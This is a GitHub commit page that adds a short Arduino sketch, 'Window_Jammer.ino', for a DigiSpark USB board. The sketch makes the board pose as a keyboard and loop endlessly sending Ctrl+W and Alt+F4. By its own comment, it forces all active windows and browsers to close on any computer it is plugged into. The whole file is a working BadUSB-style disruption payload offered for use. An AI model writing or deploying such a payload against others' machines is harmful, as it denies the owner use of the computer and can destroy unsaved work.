Create Window_Jammer.ino

This commit is contained in:
CedArctic 2018-05-06 23:19:12 +03:00 committed by GitHub
parent d8134b5ea7
commit b88f12bf46
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 13 additions and 0 deletions

View File

@ -0,0 +1,13 @@
// A simple script to have the DigiSpark constantly spam ALT+F4 and CTRL+W key combos forcing all active windows and browsers to close
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
}